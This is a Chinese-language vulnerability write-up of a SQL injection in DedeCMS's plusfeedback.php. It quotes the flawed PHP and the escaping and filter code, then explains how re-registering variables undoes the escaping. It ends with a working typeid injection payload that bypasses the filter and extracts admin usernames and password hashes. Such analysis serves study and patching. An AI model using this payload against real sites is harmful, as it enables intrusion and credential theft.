该漏洞是cyg07在乌云提交的, 漏洞文件: plusfeedback.php。
存在问题的代码:
02 |
if ( $comtype == 'comments' ) |
04 |
$arctitle = addslashes ( $title ); |
07 |
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) |
08 |
VALUES ( '$aid' , '$typeid' , '$username' , '$arctitle' , '$ip' , '$ischeck' , '$dtime' , '{$cfg_ml->M_ID}' , '0' , '0' , '$feedbacktype' , '$face' , '$msg' ); "; |
10 |
$rs = $dsql ->ExecuteNoneQuery( $inquery ); |
13 |
ShowMsg( ' 发表评论错误! ' , '-1' ); |
20 |
elseif ( $comtype == 'reply' ) |
22 |
$row = $dsql ->GetOne( "SELECT * FROM `#@__feedback` WHERE id ='$fid'" ); |
23 |
$arctitle = $row [ 'arctitle' ]; |
25 |
$msg = $quotemsg . $msg ; |
26 |
$msg = HtmlReplace( $msg , 2); |
27 |
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) |
28 |
VALUES ( '$aid' , '$typeid' , '$username' , '$arctitle' , '$ip' , '$ischeck' , '$dtime' , '{$cfg_ml->M_ID}' , '0' , '0' , '$feedbacktype' , '$face' , '$msg' )"; |
29 |
$dsql ->ExecuteNoneQuery( $inquery ); |
![](https://images0.cnblogs.com/i/554998/201403/211456435215494.png)
完整的输入语句,第二个参数 typeid可控。
1 |
INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ( '108' , '2' , '游客' , 'paxmac' , '127.0.0.1' , '1' , '1351774092' , '0' , '0' , '0' , 'feedback' , '0' , 'nsfocus&&paxmac team' ); |
想要利用注入,就要先了解下dedecms的防御机制。
首先他对一切request进来的参数都会进行转义,具体看代码
![2.jpg](http://huakai.paxmac.org/wp-content/uploads/2.jpg.png)
common.inc.php文件 会把所有的request进行处理。
01 |
function _RunMagicQuotes(& $svar ) |
03 |
if (!get_magic_quotes_gpc()) |
07 |
foreach ( $svar as $_k => $_v ) $svar [ $_k ] = _RunMagicQuotes( $_v ); |
11 |
if ( strlen ( $svar )>0 && preg_match( '#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#' , $svar ) ) |
13 |
exit ( 'Request var not allow!' ); |
15 |
$svar = addslashes ( $svar ); |
21 |
foreach (Array( '_GET' , '_POST' , '_COOKIE' ) as $_request ) |
23 |
foreach ($ $_request as $_k => $_v ) |
25 |
if ( $_k == 'nvarname' ) ${ $_k } = $_v ; |
26 |
else ${ $_k } = _RunMagicQuotes( $_v ); |
从上面代码可以看到他对外来的提交进行了转义处理,但是在filter.ini.php文件中
01 |
function _FilterAll( $fk , & $svar ) |
03 |
global $cfg_notallowstr , $cfg_replacestr ; |
06 |
foreach ( $svar as $_k => $_v ) |
08 |
$svar [ $_k ] = _FilterAll( $fk , $_v ); |
13 |
if ( $cfg_notallowstr != '' && preg_match( "#" . $cfg_notallowstr . "#i" , $svar )) |
15 |
ShowMsg( " $fk has not allow words!" , '-1' ); |
18 |
if ( $cfg_replacestr != '' ) |
20 |
$svar = preg_replace( '/' . $cfg_replacestr . '/i' , "***" , $svar ); |
27 |
foreach (Array( '_GET' , '_POST' , '_COOKIE' ) as $_request ) |
29 |
foreach ($ $_request as $_k => $_v ) |
31 |
${ $_k } = _FilterAll( $_k , $_v ); |
上面是处理敏感词的代码,但是又对变量进行了注册,导致了变量二次覆盖漏洞。其实这漏洞很早前就存在,之前的是因为对提交的变量只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量,dedecms历来的修改都让人摸不着头脑,修补的都是表面的东西,实质导致漏洞问题的原因不做修改。从这次的补丁看来,他就只加了一句判断$typeid是否为数字,对于80sec的防注入代码2次被绕过还继续无视。
所以在GPC=OFF的时候,被转义的变量又会被重新覆盖而变成正常代码。
Eg: typeid=2’ 经过覆盖 typeid=2’
研究过上次dedecms SQL注入的问题的同学肯定了解他的防注入机制。这里做下简单的分析。他对于到之间的内容作为可信任,不对其进行检查。所以我们只要把想利用的代码放在’ ‘内就能躲过检查。利用Mysql的一个语法,他的值@`’`为空,下面来构造漏洞exp:
typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,’1111
我用tamper data提交此参数,![](https://images0.cnblogs.com/i/554998/201403/211457599592108.jpg)
其实这里也利用了一个小bug
![](https://images0.cnblogs.com/i/554998/201403/211458391939620.png)
可以看到他的表结构,只有msg可以为null,但是利用代码中在username中用了null,这是非法的语句,单独插入是不会成功的,但是后面一句语句是成立的,insert (a,b) values (1,1),(2,2) (1,1,)非法 (2,2)符合条件的时候会成功同时插入2条语句。由于显示字符数量的问题,所以选择了msg字段作为输出。
![](https://images0.cnblogs.com/i/554998/201403/211459180371421.jpg)